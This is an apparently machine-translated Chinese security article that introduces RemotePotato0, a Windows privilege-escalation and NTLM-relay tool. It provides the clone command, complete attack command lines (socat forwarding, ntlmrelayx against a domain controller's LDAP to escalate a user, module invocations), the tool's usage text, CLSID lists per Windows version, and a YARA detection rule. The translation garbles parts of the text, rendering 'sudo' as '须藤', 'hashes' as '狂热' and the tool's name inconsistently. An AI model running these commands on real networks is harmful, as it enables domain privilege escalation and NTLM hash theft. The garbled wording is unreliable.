关于RemotePotato0

RemotePota0是假功能的Windows提权工具,本质上说RemotePotato0是一个漏洞利用工具,可以帮助用户研究人员在Windows系统上域,真正的管理员从一个普通用户提权至权限。

RemotePotato0利用DCOM激活服务,并可以在当前登录到目标计算机的任何NTLM验证身份用户时触发。 。触发NTLM类型1,RemotePotato0将设置一个跨协议中继服务器,该服务器将负责接收特权类型1消息,并通过解包RPC协议和HTTP打包身份验证,然后将其继到第三个资源。在接收端。除此之外,RemotePota00 允许抓取和窃取登录到目标设备上的每个用户的NTLMv2 狂热。

源码获取

多个研究人员可以使用以下命令项目源码复制至:

git 克隆 https://github.com/antonioCoco/RemotePotato0.git

使用场景

攻击设备(10.0.0.20)

目标设备(10.0.0.45)

目标域控制器(10.0.0.10)

模块0 - Rpc2Http跨协议中继服务器+土豆保护

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &  须藤 ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user

注意:如果你操作的是 Windows Server <= 2016,你可以避免使用网络生成器(socat):

查询用户  .\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1

模块1 - Rpc2Http跨协议中继服务器

.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20
rp*cping -s 127.0.0.1 -e 9997 -a 连接 -u ntlm

模块2 - RPC捕捉(链)服务器

.\RemotePotato0.exe -m 3 -l 9997
rp*cping -s 127.0.0.1 -e 9997 -a 连接 -u ntlm

工具使用

远程土豆0          @splinter_code & @decoder_it           强制性参数:  -m 模块          允许值:          0 - Rpc2Http 跨协议中继服务器+土豆触发器(默认)          1 - Rpc2Http 跨协议中继服务器          2 - Rpc 捕获(散列)服务器 + 土豆触发器          3 - Rpc 捕获(散列)服务器        其他参数:(根据您使用的模块,某人可能是强制性的和/或可选的)  -r 远程HTTP 中继服务器IP  -t 远程HTTP中继服务器端口(默认为80)  -x 流氓Oxid解析器IP (默认为127.0.0.1)  -p 流氓Oxid解析器端口 (默认为9999)  -l RPC 转发服务器监听端口(默认为9997)  -s 跨会话激活攻击目标会话IP (默认为disabled)  -c CLSID (默认为{5167B42F-C111-47A1-ACC4-8EABE61B0B54})

工具演示

跨会话激活:GIF

哈希窃取:GIF

CLSID列表

该工具还提供了一个可以针对各种 Windows 版本的 CLSID 列表:

视窗服务器 2019

{0002DF02-0000-0000-C000-000000000046} - BrowserBroker 类     {0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4} - AuthBrokerUI  {5167B42F-C111-47A1-ACC4-8EABE61B0B54} - Easconsent.dll  {924DC564-16A6-42EB-929A-9A61FA7DA06F} - 用于非 AppContainer 客户端的身份验证 UI CredUI Out of Proc Helper    {934b410c-43e4-415e-9935-fbc081ba93a9} - UserInfoDialog     {BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout  {c58ca859-80bc-48df-8f06-ffa94a405bff} - Picker Host     {f65817c8-dd85-4136-89f0-b9d12939f2c4}-IsolatedMessageDialogFactory    {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} - SPPUIObjectInteractive Class  {f8842f8e-dafe-4b37-9d38-4e0714a61149} - CastServerInteractiveUser

视窗服务器 2016

{924DC564-16A6-42EB-929A-9A61FA7DA06F}  {f65817c8-dd85-4136-89f0-b9d12939f2c4}  {BA441419-0B3F-4FB6-A903-D16CC14CCA44}  {0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}  {934b410c-43e4-415e-9935-fbc081ba93a9}  {f8842f8e-dafe-4b37-9d38-4e0714a61149}  {0002DF02-0000-0000-C000-000000000046}  {5167B42F-C111-47A1-ACC4-8EABE61B0B54}  {c58ca859-80bc-48df-8f06-ffa94a405bff}  {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

视窗服务器 2008 R2

{FCC74B77-EC3E-4dd8-A80B-008A702075A9}  {9BA05972-F6A8-11CF-A442-00A0C90A8F39}  {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

如何检测

我们可以使用以下Yara规则来检测RemotePotato0:

规则 SentinelOne_RemotePotato0_privesc {      元:          作者 = "SentinelOne"          description = "检测 RemotePotato0 二进制文件"          参考 = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"                字符串:          $import1 = "CoGetInstanceFromIStorage"          $istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase 宽 ascii          $meow_header = { 4d 45 4f 57 }          $clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase 宽 ascii          $clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase 宽 ascii                健康)状况:                  (uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)  }

项目地址

RemotePotato0:GitHub发送门

参考资料

http://ohpe.it/juicy-potato/CLSID/

https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop/

https://www.tiraniddo.dev/2021/04/standard-activation-yourself-to.html

本文作者:Alpha_h4ck, 转自FreeBuf